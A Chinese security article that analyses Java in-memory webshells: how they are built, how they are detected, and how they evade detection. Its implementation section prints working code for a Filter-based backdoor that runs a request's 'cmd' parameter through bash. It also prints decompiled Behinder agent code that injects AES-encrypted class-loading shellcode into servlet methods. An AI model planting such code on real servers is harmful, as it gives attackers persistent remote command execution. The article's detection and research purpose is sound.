内存马的攻防博弈之旅

一、概述

攻防对抗中，权限维持作为后渗透的基础，在攻防的对抗中，乃是兵家必争之地。Webshell作为Web安全领域中最基础的权限维持的方式，也在不断地变化发展，涌现出各种大马，小马，一句话密码，加密混淆木马等实现方式。但随着基于文件的检测技术的发展，此类文件型的Webshell越来越容易被检测出来。因此，基于无文件攻击技术的内存马就开始大展身手。

早在2017年，n1nty师傅就提出一种利用动态注册Filter实现内存马的思路[1]。后续rebeyong师傅又提出使用Java的Instrument机制实现内存马的思路[2]。随着对内存马技术的关注与研究，后续又出现了基于Spring框架的Controller，Interceptor等类型的内存马。在Python的平台也有利用SSTI动态注入路由的形式实现内存马的思路。本文将以Java内存马为例，从内存马的原理，分类，检测，防检测以及防检测绕过等角度分析内存马的攻防博弈对抗。二.  背景知识

2.1 Java Web三大组件

• Servlet

Servlet是运行在 Web 服务器或应用服务器上的程序，它是作为来自 HTTP 客户端的请求和 HTTP 服务器上的数据库或应用程序之间的中间层。它负责处理用户的请求，并根据请求生成相应的返回信息提供给用户。Servlet 可以理解为某一个路径后续的业务处理逻辑。

• Filter

Filter也称之为过滤器，可以动态地修改HttpServletRequest，HttpServletResponse中的头和数据。

• Listener

Listener也称之为监听器，可以监听Application、Session和Request对象的创建、销毁事件，以及监听对其中添加、修改、删除属性事件，并自动执行自定义的功能。

2.2 Java Instrument

java.lang.Instrument包是在JDK5引入的，开发者通过修改方法的字节码实现动态修改类代码。利用Instrument，开发者可以开发单独的代理Agent，实现对JVM进程的运行时监控，分析JVM进程运行时内存状态，甚至可以很方便地修改内存中类的字节码，修改或者扩展已有的功能。基于Instrument的Java Agent的使用方式有两种：

•  在JVM启动前加载

启动时配置-javaagent参数，会执行Agent中的premain方法。

• 在JVM启动后加载

使用com.sun.tools.attach.VirtualMachine包提供的loadAgent方法，将Agent注入到指定的JVM进程中，会执行Agent中的agentmain方法。

三、内存马分类

内存马根据实现的方式，大致可以分为以下两种：

1. 利用Java Web组件（Servlet、Filter、Listener）

动态地创建Servlet、Filter或者Listener，解析请求参数，实现任意代码执行。在Spring框架利用Controller，Interceptor等组件也是类似的机制。

2. 修改字节码

利用Java的Instrument机制，动态注入Agent，在Java内存中动态修改字节码，在HTTP请求执行路径中的类中添加恶意代码，可以实现根据请求的参数执行任意代码。攻击手法往往是利用Java中Web服务的 RCE漏洞，典型的就是Java的反序列化漏洞，注入自定义恶意代码，生成内存马，实现权限的持久化。

四、内存马实现方式

4.1 利用Java Web组件

利用Servlet、Filter、Listener实现内存马，我们需要两个条件，一是动态创建对象，二是能将创建的对象注册到HTTP的处理流中生效。在Servlet3.0中，ServletContext提供了动态创建Servlet、Filter、Listener的方法。

public interface ServletContext {
  ... 
  FilterRegistration.Dynamic addFilter(String filterName,String className)
  FilterRegistration.Dynamic addFilter(String filterName,Filter filter)
  FilterRegistration.Dynamic addFilter(String filterName,Class<? extends Filter> filterClass)
  Dynamic addServlet(String var1, String var2);
  Dynamic addServlet(String var1, Servlet var2);
  Dynamic addServlet(String var1, Class<? extends Servlet> var2);
void addListener(String var1);
  <T extends EventListener> void addListener(T var1);
void addListener(Class<? extends EventListener> var1); 
}

ApplicationContext 类是 ServletContext 的实现类，实现了 ServletContext 中的addFilter 方法，用于向属性中的StandardContext实例添加filterDef。利用StandardContext，我们就能够动态创建Servlet、Filter、Listener，实现内存马了。
下面以Filter为例分析内存马的创建方式，Servlet和Listener的实现方式较为类似，就不再重复。1.首先我们需要能够获取到StandardContext。在JSP环境中我们可以直接通过request对象就可以获取到。在其他类型的环境中，也有相应的姿势可以获取到StandardContext对象。关于如何获取StandardContext可以参考相关文献[3]。

ServletContext ctx = request.getSession().getServletContext();
Field f = ctx.getClass().getDeclaredField("context");
f.setAccessible(true);
ApplicationContext appCtx = (ApplicationContext)f.get(ctx);

f = appCtx.getClass().getDeclaredField("context");
f.setAccessible(true);
StandardContext standardCtx = (StandardContext)f.get(appCtx);

2.创建一个恶意的Filter，其核心功能就是一个能够解析攻击者请求的参数，实现命令执行的后门程序。

Filter filter = new Filter() {
@Override
public void init(FilterConfig arg0) throws ServletException {
// TODO Auto-generated method stub
      }

@Override
public void doFilter(ServletRequest arg0, ServletResponse arg1, FilterChain arg2)
throws IOException, ServletException {
// TODO Auto-generated method stub
         HttpServletRequest req = (HttpServletRequest)arg0;
if (req.getParameter("cmd") != null) {
byte[] data = new byte[1024];
            Process p = new ProcessBuilder("/bin/bash","-c", req.getParameter("cmd")).start();
int len = p.getInputStream().read(data);
            p.destroy();
            arg1.getWriter().write(new String(data, 0, len));
return;
         } 
         arg2.doFilter(arg0, arg1);
      }

@Override
public void destroy() {
// TODO Auto-generated method stub
      }
   };

3. 将该Filter注册到HTTP的处理流中生效。

FilterDef filterDef = new FilterDef();
    filterDef.setFilterName(name);
    filterDef.setFilterClass(filter.getClass().getName());
    filterDef.setFilter(filter);

    standardCtx.addFilterDef(filterDef);

   FilterMap m = new FilterMap();
   m.setFilterName(filterDef.getFilterName());
   m.setDispatcher(DispatcherType.REQUEST.name());
   m.addURLPattern("/*");
   standardCtx.addFilterMapBefore(m);
   Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
   FilterConfig filterConfig = (FilterConfig)constructor.newInstance(standardCtx, filterDef);

    filterConfigs.put(name, filterConfig);

不难发现，此类型的内存马有着以下两个较为明显的特征:
特征1：class 实现 javax.servlet.Filter，javax.servlet.Listener，javax.servlet.Servlet等接口。特征2：包含ProcessBuilder，Runtime等Webshell常用的命令执行危险操作。

4.2 Instrument内存马

水能载舟，亦能覆舟。Instrument机制在给我们分析修改JVM进程带来便利的同时，也为内存马的隐藏提供了很好的手段。常见的冰蝎[4]，哥斯拉[5]内存马都提供Instrument注入的方式。我们以冰蝎的内存马来分析Instrument注入的实现方式。通过对冰蝎的jar包进行逆向分析可以发现，冰蝎内存马的代码位于net.rebeyond.behinder.payload.java.MenShell类中。

图2代码结构可以看出是很典型的基于Instrument的Agent，入口函数是agentmain。分析agentmain方法中实现的逻辑，可以发现大致分为以下3步：

1. 确定需要hook的类与方法，可以看出主要hook的都是与Servlet相关的类的service方法。

Class[] cLasses = inst.getAllLoadedClasses();
byte[] data = new byte[0];
            Map targetClasses = new HashMap();
            Map targetClassJavaxMap = new HashMap();
            targetClassJavaxMap.put("methodName", "service");
            List paramJavaxClsStrList = new ArrayList();
            paramJavaxClsStrList.add("javax.servlet.ServletRequest");
            paramJavaxClsStrList.add("javax.servlet.ServletResponse");
            targetClassJavaxMap.put("paramList", paramJavaxClsStrList);
            targetClasses.put("javax.servlet.http.HttpServlet", targetClassJavaxMap);
            Map targetClassJakartaMap = new HashMap();
            targetClassJakartaMap.put("methodName", "service");
            List paramJakartaClsStrList = new ArrayList();
            paramJakartaClsStrList.add("jakarta.servlet.ServletRequest");
            paramJakartaClsStrList.add("jakarta.servlet.ServletResponse");
            targetClassJakartaMap.put("paramList", paramJakartaClsStrList);
            targetClasses.put("javax.servlet.http.HttpServlet", targetClassJavaxMap);
            targetClasses.put("jakarta.servlet.http.HttpServlet", targetClassJakartaMap);
            ClassPool cPool = ClassPool.getDefault();
if (ServerDetector.isWebLogic()) {
                targetClasses.clear();
                Map targetClassWeblogicMap = new HashMap();
                targetClassWeblogicMap.put("methodName", "execute");
                List paramWeblogicClsStrList = new ArrayList();
                paramWeblogicClsStrList.add("javax.servlet.ServletRequest");
                paramWeblogicClsStrList.add("javax.servlet.ServletResponse");
                targetClassWeblogicMap.put("paramList", paramWeblogicClsStrList);
                targetClasses.put("weblogic.servlet.internal.ServletStubImpl", targetClassWeblogicMap);
            }

2. 定义shellcode，其中shellCode的代码格式化解析如下所示，可以很明显的看出是典型的Webshell的代码，解析请求中的传递的参数，解密后进行调用，执行自定义的业务功能。

javax.servlet.http.HttpServletRequest request = (javax.servlet.ServletRequest) $1;
        javax.servlet.http.HttpServletResponse response = (javax.servlet.ServletResponse) $2;
        javax.servlet.http.HttpSession session = request.getSession();
String pathPattern = "%s";
if (request.getRequestURI().matches(pathPattern)) {
            java.util.Map obj = new java.util.HashMap();
            obj.put("request", request);
            obj.put("response", response);
            obj.put("session", session);
            ClassLoader loader = this.getClass().getClassLoader();
if (request.getMethod().equals("POST")) {
try {
String k = "%s";
                    session.putValue("u", k);

                    java.lang.ClassLoader systemLoader = java.lang.ClassLoader.getSystemClassLoader();
                    Class cipherCls = systemLoader.loadClass("javax.crypto.Cipher");

Object c = cipherCls.getDeclaredMethod("getInstance", new Class[]{String.class}).invoke((java.lang.Object) cipherCls, new Object[]{"AES"});
Object keyObj = systemLoader.loadClass("javax.crypto.spec.SecretKeySpec").getDeclaredConstructor(new Class[]{byte[].class, String.class}).newInstance(new Object[]{k.getBytes(), "AES"});
                    ;

                    java.lang.reflect.Method initMethod = cipherCls.getDeclaredMethod("init", new Class[]{int.class, systemLoader.loadClass("java.security.Key")});
                    initMethod.invoke(c, new Object[]{new Integer(2), keyObj});

                    java.lang.reflect.Method doFinalMethod = cipherCls.getDeclaredMethod("doFinal", new Class[]{byte[].class});
                    byte[] requestBody = null;
try {
                        Class Base64 = loader.loadClass("sun.misc.BASE64Decoder");
Object Decoder = Base64.newInstance();
                        requestBody = (byte[]) Decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(Decoder, new Object[]{request.getReader().readLine()});
                    } catch (Exception ex) {
                        Class Base64 = loader.loadClass("java.util.Base64");
Object Decoder = Base64.getDeclaredMethod("getDecoder", new Class[0]).invoke(null, new Object[0]);
                        requestBody = (byte[]) Decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(Decoder, new Object[]{request.getReader().readLine()});
                    }

                    byte[] buf = (byte[]) doFinalMethod.invoke(c, new Object[]{requestBody});
                    java.lang.reflect.Method defineMethod = java.lang.ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{String.class, java.nio.ByteBuffer.class, java.security.ProtectionDomain.class});
                    defineMethod.setAccessible(true);
                    java.lang.reflect.Constructor constructor = java.security.SecureClassLoader.class.getDeclaredConstructor(new Class[]{java.lang.ClassLoader.class});
constructor.setAccessible(true);
                    java.lang.ClassLoader cl = (java.lang.ClassLoader) constructor.newInstance(new Object[]{loader});
                    java.lang.Class c = (java.lang.Class) defineMethod.invoke((java.lang.Object) cl, new Object[]{null, java.nio.ByteBuffer.wrap(buf), null});
                    c.newInstance().equals(obj);
                } catch (java.lang.Exception e) {
                    e.printStackTrace();
                } catch (java.lang.Error error) {
                    error.printStackTrace();
                }
                return;
            }
        }

3. 将shellcode插入到需要hook的方法之前

Class[] var28 = cLasses;
            int var13 = cLasses.length;

for (int var14 = 0; var14 < var13; ++var14) {
                Class cls = var28[var14];
if (targetClasses.keySet().contains(cls.getName())) {
String targetClassName = cls.getName();

try {
String path = new String(base64decode(args.split("\\|")[0]));
String key = new String(base64decode(args.split("\\|")[1]));
                        shellCode = String.format(shellCode, path, key);
if (targetClassName.equals("jakarta.servlet.http.HttpServlet")) {
                            shellCode = shellCode.replace("javax.servlet", "jakarta.servlet");
                        }

                        ClassClassPath classPath = new ClassClassPath(cls);
                        cPool.insertClassPath(classPath);
                        cPool.importPackage("java.lang.reflect.Method");
                        cPool.importPackage("javax.crypto.Cipher");
                        List paramClsList = new ArrayList();
                        Iterator var21 = ((List) ((Map) targetClasses.get(targetClassName)).get("paramList")).iterator();

String methodName;
while (var21.hasNext()) {
                            methodName = (String) var21.next();
                            paramClsList.add(cPool.get(methodName));
                        }

                        CtClass cClass = cPool.get(targetClassName);
                        methodName = ((Map) targetClasses.get(targetClassName)).get("methodName").toString();
                        CtMethod cMethod = cClass.getDeclaredMethod(methodName, (CtClass[]) paramClsList.toArray(new CtClass[paramClsList.size()]));
// 关键步骤，修改字节码，将shellcode插入到方法前调用
            cMethod.insertBefore(shellCode);
                        cClass.detach();
                        data = cClass.toBytecode();
// 调用Instrumentation对象，将修改生效
                        inst.redefineClasses(new ClassDefinition[]{new ClassDefinition(cls, data)});
                    } catch (Exception var24) {
                        var24.printStackTrace();
                    } catch (Error var25) {
                        var25.printStackTrace();
                    }
                }
            }

至此，已经成功将Java进程中的Servlet类修改，所有的请求都会经过内存马的代码，攻击者构造特定格式的POST请求就会进入内存马的代码逻辑中，执行恶意请求。正常业务的数据格式不满足内存马数据格式要求，会跳过内存马的逻辑，因此并不会影响原始业务，大大增加内存马的隐蔽性。

特征：该方式不会生成新的Servlet，Filter，Listener对象，因此隐蔽性更强。唯一美中不足的是，需要生成Agent文件落地，有可能会被IDS文件检测检测到Agent。

五、内存马检测

知己知彼，百战不殆。

现在，我们对内存马已经有了一定的了解认识，了解了内存马的实现方式以及原理。下面我们就要对需要检测的JVM进程有详尽的了解认识，给目标JVM进程做个“体检”，发现可能隐藏的内存马。

5.1基于Instrument的Agent检测

我们可以同样利用Java 的Instrument机制，动态注入我们的检测Agent，获取JVM中所有加载的Class的数据，针对内存马可疑的特征，让隐藏的内存马现出原型。

首先，我们需要分析常见的内存马存在的一些可疑的特征。根据上面两种类型的内存马，我们大致可以总结出以下几个可疑特征：

1. 继承可能实现Webshell接口，例如Servlet，Filter，Listener，Interceptor

• javax.servlet.http.HttpServlet

• org.springframework.web.servlet.handler.AbstractHandlerMapping

• javax.servlet.Filter

• javax.servlet.Servlet

• javax.servlet.ServletRequestListener

•…

2.名字：内存马的Filter名可能包含shell等关键字

3.特殊classloader加载：查看classloader是不是Templates或bcel等

4.使用风险注解

5. 对比web.xml中没有Filter配置（这点在Spring之类的动态注入框架中不生效）

6. 对应的ClassLoader路径下没有class文件：检测Filter对应的ClassLoader目录下是否存在class文件

7. 常见已知的Webshell包名

• net.rebeyond.

• com.metasploit.

检测步骤大致如下：

1. Attach 检测jar包到JVM进程

2. 获取JVM中已经加载的class列表

3.根据以上可疑特征将可疑的class反编译为Java源码

4.根据源码检测Webshell

优点：只在检测的过程中存在资源的消耗，不会对系统进行修改，对系统的影响较小。

缺点：针对恶意代码的分析，如果恶意代码不是存在于该可疑的类中，而是通过多层的调用链调用的，分析的难度将大大增加，针对单个class的分析将无法有效的检测出。需要对调用链上的所有的类的方法函数进行分析，只要调用链中的任何一个类存在可疑的代码，就标记为风险。但这样也会增加检测的资源消耗，降低检测效率。并且，这是一种事后的检测，内存马可能已经在系统中存在一定的时间。

5.2 RASP 运行时防护

Gartner在2014年提出了应用自我保护技术（RASP）的概念。Java中，RASP也是利用JVM的Instrument技术，在指定关键类的特定方法处进行hook。因此RASP能够感知内存马在内存中执行的一系列操作。

例如上述提到的Filter类型的内存马，我们在 StandardContext类的addFilterDef方法处进行hook，能够在内存马创建的阶段就能检测到，将风险扼杀在摇篮之中。

优点：RASP是一种事中的检测，在内存马创建的过程中就能检测并阻断。这种方式准确性强，可以结合请求的上下文环境进行精准判断，误报的几率较低。

缺点：这种侵入性比较强，运行在应用的整个生命周期中，会增加应用的资源消耗。

六、内存马的防检测

攻防就是一个相互博弈的过程，既然有了查杀，内存马就有反查杀。

冰蝎内存马在Behinder_v3.0 Beta 10中就开始添加了防检测的功能。

对冰蝎代码分析，防检测的实现是删除了一个名为/tmp/.java_pid+{pid}的文件。为什么删除这个文件就能防检测了呢？这还得从JVM进程的Agent注入开始分析。

前文了解过，Agent的注入是调用com.sun.tools.attach.VirtualMachine的loadAgent，分析loadAgent代码，主要是调用loadAgentLibrary方法。

继续跟进loadAgentLibrary方法，最终实际是调用execute的load命令

execute连接目标JVM进程暴露的socket文件，写入执行的指令进行通信，这里面的path就是目标JVM的 socket文件地址。

分析目标JVM进程 对socket接收到的数据进行处理，在AttachListener对象的read_request方法中读取socket接收到数据

创建LinuxAttachOperation对象 进行具体的attach的操作

通过对代码的分析可以看出，JVM进程之间的通信，靠的就是目标进程暴露出来的socket文件。防检测原理，就是删除JVM进程对外暴露的.java_pidxxxx socket文件，阻止和JVM进程通信，从而禁止Agent加载。Agent无法注入，自然就无法检测内存马了。

这块绕过防检测有一点思路，留待后续实现。

1.在目标JVM进程中， 重启AttachListener，重新创建socket文件。

2.在目标JVM进程，创建LinuxAttachOperation到队列中，完成load Agent的操作。

七、总结

本文从内存马的原理，分类，检测，防检测以及防检测绕过等角度分析内存马的攻防博弈对抗。可以看出安全攻防的博弈一直都在持续进行中，这趟旅程还没有到终点。

参考文献

[1].https://mp.weixin.qq.com/s/x4pxmeqC1DvRi9AdxZ-0Lw

[2].https://www.cnblogs.com/rebeyond/p/9686213.html[3].https://xz.aliyun.com/t/9914[4].https://github.com/rebeyond/Behinder[5].https://github.com/BeichenDream/Godzilla